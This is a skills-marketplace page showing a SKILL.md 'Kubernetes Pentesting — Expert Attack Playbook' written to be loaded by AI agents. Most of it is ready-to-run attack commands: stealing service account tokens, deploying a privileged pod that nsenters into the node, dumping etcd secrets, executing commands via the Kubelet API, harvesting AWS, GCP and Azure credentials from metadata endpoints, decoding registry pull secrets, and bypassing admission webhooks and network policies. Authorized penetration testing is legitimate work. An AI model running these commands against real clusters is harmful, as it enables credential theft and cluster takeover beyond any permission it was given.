Skip to main content

kubernetes-pentesting

Kubernetes penetration testing playbook. Use when targeting Kubernetes clusters via API server, RBAC enumeration, service account abuse, etcd access, Kubelet API, pod escape, cloud-specific metadata, admission webhook bypass, and registry secrets.

Source facts

Repository
yaklang/hack-skills
Last source activity
April 9, 2026 at 12:46
Detected SKILL.md language
English
Stars
2,547
Forks
347

Install options

The review-first prompt is selected by default. You can switch to a direct command or download a local copy.

Review the source files

Read SKILL.md and any companion files shown by SkillsMP before deciding whether to install.

Showing SKILL.md

SKILL.md
Source instructions ยท Read-only preview
name
kubernetes-pentesting
description
Kubernetes penetration testing playbook. Use when targeting Kubernetes clusters via API server, RBAC enumeration, service account abuse, etcd access, Kubelet API, pod escape, cloud-specific metadata, admission webhook bypass, and registry secrets.
# SKILL: Kubernetes Pentesting โ€” Expert Attack Playbook > **AI LOAD INSTRUCTION**: Expert Kubernetes attack techniques. Covers API server access, RBAC escalation, service account token abuse, etcd secrets extraction, Kubelet API exploitation, cloud IMDS access (EKS/GKE/AKS), admission webhook bypass, and network policy evasion. Base models miss the distinction between namespace-scoped and cluster-scoped RBAC, and overlook Kubelet's unauthenticated API. ## 0. RELATED ROUTING Before going deep, consider loading: - [container-escape-techniques](../container-escape-techniques/SKILL.md) for escaping from a compromised pod to the underlying node - [linux-privilege-escalation](../linux-privilege-escalation/SKILL.md) once on a node for escalating to root - [linux-lateral-movement](../linux-lateral-movement/SKILL.md) for pivoting between nodes - [linux-security-bypass](../linux-security-bypass/SKILL.md) when Pod Security Standards or seccomp profiles restrict your actions - [ssrf-server-side-request-forgery](../ssrf-server-side-request-forgery/SKILL.md) when exploiting SSRF to reach the K8s API or cloud metadata --- ## 1. K8S API SERVER ACCESS ### 1.1 Anonymous Access Check ```bash # Check if anonymous auth is enabled (default: limited in modern clusters) curl -sk https://APISERVER:6443/api/v1/namespaces curl -sk https://APISERVER:6443/version curl -sk https://APISERVER:6443/api curl -sk https://APISERVER:6443/apis # Common API server ports: # 6443 โ€” secure API (default) # 8443 โ€” alternative secure # 8080 โ€” insecure API (legacy, no auth needed) ``` ### 1.2 Token-Based Authentication (from inside pod) ```bash TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace) APISERVER="https://kubernetes.default.svc" curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \ $APISERVER/api/v1/namespaces/$NAMESPACE/pods ``` ### 1.3 Certificate / Kubeconfig Authentication ```bash # Common kubeconfig locations: ~/.kube/config, /etc/kubernetes/admin.conf, # /etc/kubernetes/kubelet.conf, /var/lib/kubelet/kubeconfig kubectl --kubeconfig=/etc/kubernetes/admin.conf get pods --all-namespaces ``` --- ## 2. RBAC ENUMERATION ### 2.1 Self-Permission Check ```bash # What can I do? kubectl auth can-i --list kubectl auth can-i --list -n kube-system # Specific checks kubectl auth can-i create pods kubectl auth can-i create pods -n kube-system kubectl auth can-i get secrets kubectl auth can-i '*' '*' # Full cluster admin? # Via API (from inside pod): curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \ $APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews \ -H "Content-Type: application/json" \ -d "{\"apiVersion\":\"authorization.k8s.io/v1\",\"kind\":\"SelfSubjectRulesReview\",\"spec\":{\"namespace\":\"$NAMESPACE\"}}" ``` ### 2.2 Role and ClusterRole Enumeration ```bash kubectl get roles --all-namespaces && kubectl get clusterroles kubectl describe clusterrole CLUSTER_ROLE_NAME # Find overprivileged roles (wildcard verbs/resources): kubectl get clusterroles -o json | python3 -c 'import sys,json;data=json.load(sys.stdin);[print(f"OVERPRIVILEGED: {r[\"metadata\"][\"name\"]}") for r in data["items"] for rule in r.get("rules",[]) if "*" in rule.get("verbs",[]) or "*" in rule.get("resources",[])]' ``` ### 2.3 Dangerous RBAC Permissions | Permission | Risk | Escalation Path | |---|---|---| | `pods/exec` | **Critical** | Exec into any pod (access secrets, tokens) | | `pods` (create) | **Critical** | Create privileged pod โ†’ node access | | `secrets` (get/list) | **Critical** | Read all secrets including SA tokens | | `serviceaccounts/token` (create) | **Critical** | Generate token for any SA | | `nodes/proxy` | **High** | Proxy to Kubelet API | | `escalate` on roles | **Critical** | Grant yourself any permission | | `bind` on rolebindings | **Critical** | Bind any role to yourself | | `impersonate` | **Critical** | Impersonate any user/SA | --- ## 3. SERVICE ACCOUNT TOKEN ABUSE ### 3.1 Token Location and Decoding ```bash # Default mount point cat /var/run/secrets/kubernetes.io/serviceaccount/token # Decode JWT (no verification needed) TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) echo $TOKEN | cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool # Shows: namespace, service account name, expiry ``` ### 3.2 Escalation via Service Account ```bash # If SA has elevated permissions โ€” dump secrets, create privileged pod: kubectl get secrets --all-namespaces kubectl apply -f - << 'EOF' apiVersion: v1 kind: Pod metadata: { name: privesc } spec: hostPID: true hostNetwork: true containers: - name: pwn image: alpine command: ["/bin/sh","-c","nsenter -t 1 -m -u -i -n -p -- /bin/bash"] securityContext: { privileged: true } volumeMounts: [{ name: hostfs, mountPath: /host }] volumes: [{ name: hostfs, hostPath: { path: / }}] EOF ``` ### 3.3 Token Generation ```bash # If serviceaccounts/token create permission: kubectl create token admin-sa -n kube-system --duration=87600h ``` --- ## 4. ETCD DIRECT ACCESS ```bash # Check anonymous access (port 2379 on master nodes): curl -sk https://ETCD_IP:2379/version # With certs from master node (/etc/kubernetes/pki/etcd/): ETCDCTL_API=3 etcdctl --endpoints=https://ETCD_IP:2379 \ --cacert=ca.crt --cert=server.crt --key=server.key \ get / --prefix --keys-only | grep secrets # Dump specific secret: ETCDCTL_API=3 etcdctl ... get /registry/secrets/default/my-secret ``` --- ## 5. POD ESCAPE TO NODE ### See [container-escape-techniques](../container-escape-techniques/SKILL.md) for detailed escape chains. Quick reference for K8s-specific vectors: | Vector | Requirement | Command | |---|---|---| | hostPID | `spec.hostPID: true` | `nsenter -t 1 -m -u -i -n -p -- bash` | | hostNetwork | `spec.hostNetwork: true` | Access node services (Kubelet, etcd) | | hostPath `/` | Volume mount of host root | `chroot /host bash` | | Privileged container | `securityContext.privileged: true` | Mount host disk / nsenter | --- ## 6. KUBELET API (Port 10250/10255) ```bash curl -sk https://NODE_IP:10250/pods # Anonymous access check # 10255 = read-only (legacy, HTTP) # Exec into pod via Kubelet (bypasses API server RBAC): curl -sk https://NODE_IP:10250/run/NAMESPACE/POD_NAME/CONTAINER_NAME -d "cmd=id" # Read logs: curl -sk https://NODE_IP:10250/containerLogs/NAMESPACE/POD_NAME/CONTAINER_NAME ``` --- ## 7. CLOUD-SPECIFIC ATTACKS ### 7.1 AWS EKS โ€” IMDS Access ```bash # From inside a pod (if IMDSv1 or no hop limit enforced): curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ # Returns IAM role name, then: curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME # Returns temporary AWS credentials (AccessKeyId, SecretAccessKey, Token) # IMDSv2 (token required): IMDS_TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \ -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") curl -s -H "X-aws-ec2-metadata-token: $IMDS_TOKEN" \ http://169.254.169.254/latest/meta-data/iam/security-credentials/ # EKS-specific: IRSA (IAM Roles for Service Accounts) # Token at: /var/run/secrets/eks.amazonaws.com/serviceaccount/token # Env vars: AWS_ROLE_ARN, AWS_WEB_IDENTITY_TOKEN_FILE ``` ### 7.2 GCP GKE โ€” Metadata API ```bash # GCE metadata server curl -s -H "Metadata-Flavor: Google" \ http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token # Returns OAuth2 access token # List available scopes curl -s -H "Metadata-Flavor: Google" \ http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes # GKE Workload Identity (if configured): # The pod's SA is mapped to a GCP SA # Token automatically available for GCP API calls ``` ### 7.3 Azure AKS โ€” Managed Identity ```bash # Azure IMDS curl -s -H "Metadata: true" \ "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" # Returns Azure access token # AKS Pod Identity / Workload Identity # Check for AZURE_CLIENT_ID, AZURE_TENANT_ID env vars env | grep AZURE ``` --- ## 8. ADMISSION WEBHOOK BYPASS | Strategy | Command/Method | |---|---| | Excluded namespace | `kubectl get validatingwebhookconfigurations -o yaml \| grep namespaceSelector` โ†’ use excluded NS | | failurePolicy: Ignore | If webhook server down โ†’ admission skipped | | Ephemeral containers | `kubectl debug POD -it --image=alpine` (may not be covered) | | Static pods | Place manifest in `/etc/kubernetes/manifests/` on node (bypasses API admission) | --- ## 9. CONTAINER REGISTRY ACCESS ```bash # Extract pull secrets (dockerconfigjson): kubectl get secrets --all-namespaces -o json | python3 -c 'import sys,json,base64;[print(s["metadata"]["name"],base64.b64decode(s["data"][".dockerconfigjson"]).decode()) for s in json.load(sys.stdin)["items"] if s["type"]=="kubernetes.io/dockerconfigjson"]' # Pull + inspect images for hardcoded secrets: docker pull REGISTRY/app:latest && docker history REGISTRY/app:latest --no-trunc ``` --- ## 10. NETWORK POLICY ENUMERATION & BYPASS ```bash kubectl get networkpolicies --all-namespaces # Find namespaces without policies (default allow-all): for ns in $(kubectl get ns -o name | cut -d/ -f2); do [ "$(kubectl get netpol -n $ns --no-headers 2>/dev/null | wc -l)" -eq 0 ] && echo "NO POLICY: $ns" done ``` Bypass strategies: DNS exfiltration (port 53 rarely blocked), allowed port tunneling, pod in unprotected namespace, `hostNetwork: true` bypasses pod network policies entirely. --- ## 11. TOOLS | Tool | Purpose | Command | |---|---|---| | **kubectl** | K8s API interaction | `kubectl auth can-i --list` | | **kube-hunter** | Automated K8s vulnerability scanning | `kube-hunter --remote TARGET` | | **peirates** | K8s pentesting from inside a pod | `./peirates` | | **kubesploit** | Post-exploitation framework for K8s | Agent-based C2 | | **CDK** | Container/K8s exploitation toolkit | `./cdk evaluate` | | **kubeletctl** | Interact with Kubelet API directly | `kubeletctl pods -s NODE_IP` | | **kubeaudit** | Cluster misconfiguration audit | `kubeaudit all` | --- ## 12. KUBERNETES PENTESTING DECISION TREE ``` Access to Kubernetes environment? โ”‚ โ”œโ”€โ”€ Inside a pod? โ”‚ โ”œโ”€โ”€ Read SA token โ†’ check RBAC permissions (ยง2.1) โ”‚ โ”‚ โ”œโ”€โ”€ Can create pods? โ†’ privileged pod escape (ยง3.2) โ”‚ โ”‚ โ”œโ”€โ”€ Can read secrets? โ†’ dump all secrets (ยง3.2) โ”‚ โ”‚ โ”œโ”€โ”€ Can exec into pods? โ†’ pivot to other pods โ”‚ โ”‚ โ””โ”€โ”€ Minimal permissions โ†’ try Kubelet API (ยง6) โ”‚ โ”‚ โ”‚ โ”œโ”€โ”€ Cloud environment? โ”‚ โ”‚ โ”œโ”€โ”€ AWS โ†’ check IMDS for IAM creds (ยง7.1) โ”‚ โ”‚ โ”œโ”€โ”€ GCP โ†’ check metadata for OAuth token (ยง7.2) โ”‚ โ”‚ โ””โ”€โ”€ Azure โ†’ check IMDS for managed identity (ยง7.3) โ”‚ โ”‚ โ”‚ โ””โ”€โ”€ Escape to node? โ†’ load container-escape-techniques โ”‚ โ”œโ”€โ”€ Access to node? โ”‚ โ”œโ”€โ”€ kubeconfig found? โ†’ full cluster access (ยง1.3) โ”‚ โ”œโ”€โ”€ etcd accessible? โ†’ dump all secrets (ยง4) โ”‚ โ”œโ”€โ”€ Kubelet cert/key? โ†’ API server access โ”‚ โ””โ”€โ”€ Static pod manifests? โ†’ create privileged static pod (ยง8) โ”‚ โ”œโ”€โ”€ External access only? โ”‚ โ”œโ”€โ”€ API server exposed? โ†’ anonymous/token check (ยง1) โ”‚ โ”œโ”€โ”€ Kubelet 10250 exposed? โ†’ direct pod exec (ยง6) โ”‚ โ”œโ”€โ”€ etcd 2379 exposed? โ†’ direct secret dump (ยง4) โ”‚ โ””โ”€โ”€ Dashboard/UI exposed? โ†’ authentication bypass โ”‚ โ”œโ”€โ”€ RBAC escalation path? โ”‚ โ”œโ”€โ”€ escalate/bind permissions? โ†’ grant cluster-admin (ยง2.3) โ”‚ โ”œโ”€โ”€ impersonate permission? โ†’ act as admin (ยง2.3) โ”‚ โ”œโ”€โ”€ serviceaccounts/token create? โ†’ mint admin token (ยง3.3) โ”‚ โ””โ”€โ”€ Overprivileged clusterrole? โ†’ abuse wildcards (ยง2.2) โ”‚ โ””โ”€โ”€ No direct escalation? โ”œโ”€โ”€ Enumerate network policies โ†’ find unprotected namespaces (ยง10) โ”œโ”€โ”€ Check admission webhooks โ†’ find bypass (ยง8) โ”œโ”€โ”€ Pull registry images โ†’ search for secrets (ยง9) โ””โ”€โ”€ Scan nodes for exposed services โ†’ Kubelet, etcd ```
View on GitHub